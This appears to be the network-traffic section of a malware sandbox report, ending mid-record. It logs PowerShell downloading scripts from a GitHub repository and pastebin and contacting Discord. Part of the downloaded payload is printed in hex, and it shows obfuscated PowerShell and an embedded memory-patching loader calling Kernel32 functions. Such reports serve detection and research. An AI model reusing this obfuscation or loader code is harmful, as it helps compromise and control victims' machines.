Oct 15, 2024 16:00:47.086666107 CEST	49990	443	192.168.2.5	162.159.138.232
Oct 15, 2024 16:00:47.088212967 CEST	49990	443	192.168.2.5	162.159.138.232
Oct 15, 2024 16:00:47.088226080 CEST	443	49990	162.159.138.232	192.168.2.5
Oct 15, 2024 16:00:47.088478088 CEST	443	49990	162.159.138.232	192.168.2.5
Oct 15, 2024 16:00:47.089438915 CEST	49990	443	192.168.2.5	162.159.138.232
Oct 15, 2024 16:00:47.131411076 CEST	443	49990	162.159.138.232	192.168.2.5
Oct 15, 2024 16:00:47.132158995 CEST	49990	443	192.168.2.5	162.159.138.232
Oct 15, 2024 16:00:47.132174969 CEST	443	49990	162.159.138.232	192.168.2.5
Oct 15, 2024 16:00:47.351675987 CEST	443	49990	162.159.138.232	192.168.2.5
Oct 15, 2024 16:00:47.351753950 CEST	443	49990	162.159.138.232	192.168.2.5
Oct 15, 2024 16:00:47.351850986 CEST	49990	443	192.168.2.5	162.159.138.232
Oct 15, 2024 16:00:47.354700089 CEST	49990	443	192.168.2.5	162.159.138.232
Oct 15, 2024 16:00:52.373295069 CEST	49907	80	192.168.2.5	172.67.19.24

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 15, 2024 16:00:01.147658110 CEST	49448	53	192.168.2.5	1.1.1.1
Oct 15, 2024 16:00:01.154500008 CEST	53	49448	1.1.1.1	192.168.2.5
Oct 15, 2024 16:00:22.654534101 CEST	64944	53	192.168.2.5	1.1.1.1
Oct 15, 2024 16:00:22.662409067 CEST	53	64944	1.1.1.1	192.168.2.5
Oct 15, 2024 16:00:23.502252102 CEST	50468	53	192.168.2.5	1.1.1.1
Oct 15, 2024 16:00:23.510067940 CEST	53	50468	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 15, 2024 16:00:01.147658110 CEST	192.168.2.5	1.1.1.1	0xe42c	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 16:00:22.654534101 CEST	192.168.2.5	1.1.1.1	0x19ce	Standard query (0)	discord.com	A (IP address)	IN (0x0001)	false
Oct 15, 2024 16:00:23.502252102 CEST	192.168.2.5	1.1.1.1	0x2ccd	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 15, 2024 16:00:01.154500008 CEST	1.1.1.1	192.168.2.5	0xe42c	No error (0)	raw.githubusercontent.com	185.199.110.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 16:00:01.154500008 CEST	1.1.1.1	192.168.2.5	0xe42c	No error (0)	raw.githubusercontent.com	185.199.108.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 16:00:01.154500008 CEST	1.1.1.1	192.168.2.5	0xe42c	No error (0)	raw.githubusercontent.com	185.199.111.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 16:00:01.154500008 CEST	1.1.1.1	192.168.2.5	0xe42c	No error (0)	raw.githubusercontent.com	185.199.109.133	A (IP address)	IN (0x0001)	false
Oct 15, 2024 16:00:22.662409067 CEST	1.1.1.1	192.168.2.5	0x19ce	No error (0)	discord.com	162.159.138.232	A (IP address)	IN (0x0001)	false
Oct 15, 2024 16:00:22.662409067 CEST	1.1.1.1	192.168.2.5	0x19ce	No error (0)	discord.com	162.159.128.233	A (IP address)	IN (0x0001)	false
Oct 15, 2024 16:00:22.662409067 CEST	1.1.1.1	192.168.2.5	0x19ce	No error (0)	discord.com	162.159.135.232	A (IP address)	IN (0x0001)	false
Oct 15, 2024 16:00:22.662409067 CEST	1.1.1.1	192.168.2.5	0x19ce	No error (0)	discord.com	162.159.137.232	A (IP address)	IN (0x0001)	false
Oct 15, 2024 16:00:22.662409067 CEST	1.1.1.1	192.168.2.5	0x19ce	No error (0)	discord.com	162.159.136.232	A (IP address)	IN (0x0001)	false
Oct 15, 2024 16:00:23.510067940 CEST	1.1.1.1	192.168.2.5	0x2ccd	No error (0)	pastebin.com	172.67.19.24	A (IP address)	IN (0x0001)	false
Oct 15, 2024 16:00:23.510067940 CEST	1.1.1.1	192.168.2.5	0x2ccd	No error (0)	pastebin.com	104.20.4.235	A (IP address)	IN (0x0001)	false
Oct 15, 2024 16:00:23.510067940 CEST	1.1.1.1	192.168.2.5	0x2ccd	No error (0)	pastebin.com	104.20.3.235	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

raw.githubusercontent.com

discord.com

pastebin.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49736	185.199.110.133	80	7428	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 15, 2024 16:00:01.173451900 CEST	224	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Oct 15, 2024 16:00:02.197869062 CEST	543	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt Accept-Ranges: bytes Date: Tue, 15 Oct 2024 14:00:01 GMT Via: 1.1 varnish X-Served-By: cache-dfw-kdfw8210159-DFW X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1729000802.703012,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Tue, 15 Oct 2024 14:05:01 GMT Vary: Authorization,Accept-Encoding
Oct 15, 2024 16:00:02.198616982 CEST	543	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt Accept-Ranges: bytes Date: Tue, 15 Oct 2024 14:00:01 GMT Via: 1.1 varnish X-Served-By: cache-dfw-kdfw8210159-DFW X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1729000802.703012,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Tue, 15 Oct 2024 14:05:01 GMT Vary: Authorization,Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49868	172.67.19.24	80	3136	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 15, 2024 16:00:23.524663925 CEST	169	OUT	GET /raw/sA04Mwk2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pastebin.com Connection: Keep-Alive
Oct 15, 2024 16:00:24.148631096 CEST	472	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 15 Oct 2024 14:00:24 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Tue, 15 Oct 2024 15:00:24 GMT Location: https://pastebin.com/raw/sA04Mwk2 Server: cloudflare CF-RAY: 8d3055ce7ef4e54a-DFW Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49876	185.199.110.133	80	3136	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 15, 2024 16:00:24.993500948 CEST	222	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Oct 15, 2024 16:00:25.588880062 CEST	541	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt Accept-Ranges: bytes Date: Tue, 15 Oct 2024 14:00:25 GMT Via: 1.1 varnish X-Served-By: cache-dfw-kdal2120078-DFW X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1729000826.525899,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Tue, 15 Oct 2024 14:05:25 GMT Vary: Authorization,Accept-Encoding

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49907	172.67.19.24	80	7296	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 15, 2024 16:00:31.141161919 CEST	169	OUT	GET /raw/sA04Mwk2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pastebin.com Connection: Keep-Alive
Oct 15, 2024 16:00:31.760209084 CEST	472	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 15 Oct 2024 14:00:31 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Tue, 15 Oct 2024 15:00:31 GMT Location: https://pastebin.com/raw/sA04Mwk2 Server: cloudflare CF-RAY: 8d3055fe099fe79a-DFW Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49916	185.199.110.133	80	7296	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 15, 2024 16:00:32.660840034 CEST	222	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
Oct 15, 2024 16:00:33.272958994 CEST	541	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt Accept-Ranges: bytes Date: Tue, 15 Oct 2024 14:00:33 GMT Via: 1.1 varnish X-Served-By: cache-dfw-kdal2120027-DFW X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1729000833.203067,VS0,VE0 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Expires: Tue, 15 Oct 2024 14:05:33 GMT Vary: Authorization,Accept-Encoding

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49741	185.199.110.133	443	7428	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-15 14:00:02 UTC	224	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm3.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-10-15 14:00:03 UTC	904	IN	HTTP/1.1 200 OK Connection: close Content-Length: 27651 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "d94702de7b06d32163a3006846550b696ce8f3ceeb1225256fc4a077e265a65e" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: ACEE:24FE1A:23D12A8:279CC1C:670E7561 Accept-Ranges: bytes Date: Tue, 15 Oct 2024 14:00:03 GMT Via: 1.1 varnish X-Served-By: cache-dfw-kdal2120092-DFW X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1729000803.947982,VS0,VE126 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: fbb9157adf44355f7a87ad87a284ead1ae2f09e2 Expires: Tue, 15 Oct 2024 14:05:03 GMT Source-Age: 0
2024-10-15 14:00:03 UTC	1378	IN	Data Raw: 24 50 31 20 3d 20 27 53 27 3b 20 24 50 32 20 3d 20 27 79 27 3b 20 24 50 33 20 3d 20 27 73 27 3b 20 24 50 34 20 3d 20 27 74 27 3b 20 24 50 35 20 3d 20 27 65 27 3b 20 24 50 36 20 3d 20 27 6d 27 0a 24 53 79 73 20 3d 20 24 50 31 20 2b 20 24 50 32 20 2b 20 24 50 33 20 2b 20 24 50 34 20 2b 20 24 50 35 20 2b 20 24 50 36 0a 0a 24 4d 31 20 3d 20 27 4d 27 3b 20 24 4d 32 20 3d 20 27 61 27 3b 20 24 4d 33 20 3d 20 27 6e 27 3b 20 24 4d 34 20 3d 20 27 61 27 3b 20 24 4d 35 20 3d 20 27 67 27 3b 20 24 4d 36 20 3d 20 27 65 27 3b 20 24 4d 37 20 3d 20 27 6d 27 3b 20 24 4d 38 20 3d 20 27 65 27 3b 20 24 4d 39 20 3d 20 27 6e 27 3b 20 24 4d 31 30 20 3d 20 27 74 27 0a 24 4d 67 6d 74 20 3d 20 24 4d 31 20 2b 20 24 4d 32 20 2b 20 24 4d 33 20 2b 20 24 4d 34 20 2b 20 24 4d 35 20 2b 20 Data Ascii: $P1 = 'S'; $P2 = 'y'; $P3 = 's'; $P4 = 't'; $P5 = 'e'; $P6 = 'm'$Sys = $P1 + $P2 + $P3 + $P4 + $P5 + $P6$M1 = 'M'; $M2 = 'a'; $M3 = 'n'; $M4 = 'a'; $M5 = 'g'; $M6 = 'e'; $M7 = 'm'; $M8 = 'e'; $M9 = 'n'; $M10 = 't'$Mgmt = $M1 + $M2 + $M3 + $M4 + $M5 +
2024-10-15 14:00:03 UTC	1378	IN	Data Raw: 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 30 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 37 39 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 33 42 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 37 35 2c Data Ascii: 65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x40, 0x00, 0x22, 0x00, 0x0A, 0x00, 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x53, 0x00, 0x79, 0x00, 0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x75,
2024-10-15 14:00:03 UTC	1378	IN	Data Raw: 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 39 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 46 2c 20 30 78 30 30 2c 20 30 78 32 46 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 Data Ascii: 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x2F, 0x00, 0x2F, 0x00, 0x20, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x69, 0x00, 0x74, 0x00, 0x6
2024-10-15 14:00:03 UTC	1378	IN	Data Raw: 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 35 42 2c 20 30 78 30 30 2c 20 30 78 34 34 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 Data Ascii: , 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x5B, 0x00, 0x44, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x49, 0x00, 0x6D, 0x00, 0
2024-10-15 14:00:03 UTC	1378	IN	Data Raw: 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 45 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 33 42 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 35 42 2c 20 30 78 30 30 2c 20 30 78 34 34 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c Data Ascii: 00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x29, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x5B, 0x00, 0x44, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x49, 0x00, 0x6D, 0x00,
2024-10-15 14:00:03 UTC	1378	IN	Data Raw: 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 34 42 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 33 32 2c 20 30 78 30 30 2c 20 30 78 34 43 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 32 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 37 39 2c 20 30 78 30 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 35 44 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 Data Ascii: 0x00, 0x72, 0x00, 0x74, 0x00, 0x28, 0x00, 0x4B, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x62, 0x00, 0x72, 0x00, 0x61, 0x00, 0x72, 0x00, 0x79, 0x00, 0x29, 0x00, 0x5D, 0x00, 0x0A, 0x0
2024-10-15 14:00:03 UTC	1378	IN	Data Raw: 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 43 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 36 36 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 34 46 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 Data Ascii: , 0x00, 0x63, 0x00, 0x74, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x75, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x20, 0x00, 0x6C, 0x00, 0x70, 0x00, 0x66, 0x00, 0x6C, 0x00, 0x4F, 0x00, 0x6C, 0x00, 0x64, 0x00, 0x50, 0
2024-10-15 14:00:03 UTC	1378	IN	Data Raw: 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 32 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 37 39 2c Data Ascii: 41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x28, 0x00, 0x73, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x62, 0x00, 0x72, 0x00, 0x61, 0x00, 0x72, 0x00, 0x79,
2024-10-15 14:00:03 UTC	1378	IN	Data Raw: 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 45 2c 20 30 78 30 30 2c 20 30 78 35 41 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 42 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 Data Ascii: 0x6C, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x2E, 0x00, 0x5A, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x29, 0x00, 0x20, 0x00, 0x7B, 0x00, 0x0A, 0x00, 0x2
2024-10-15 14:00:03 UTC	1378	IN	Data Raw: 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 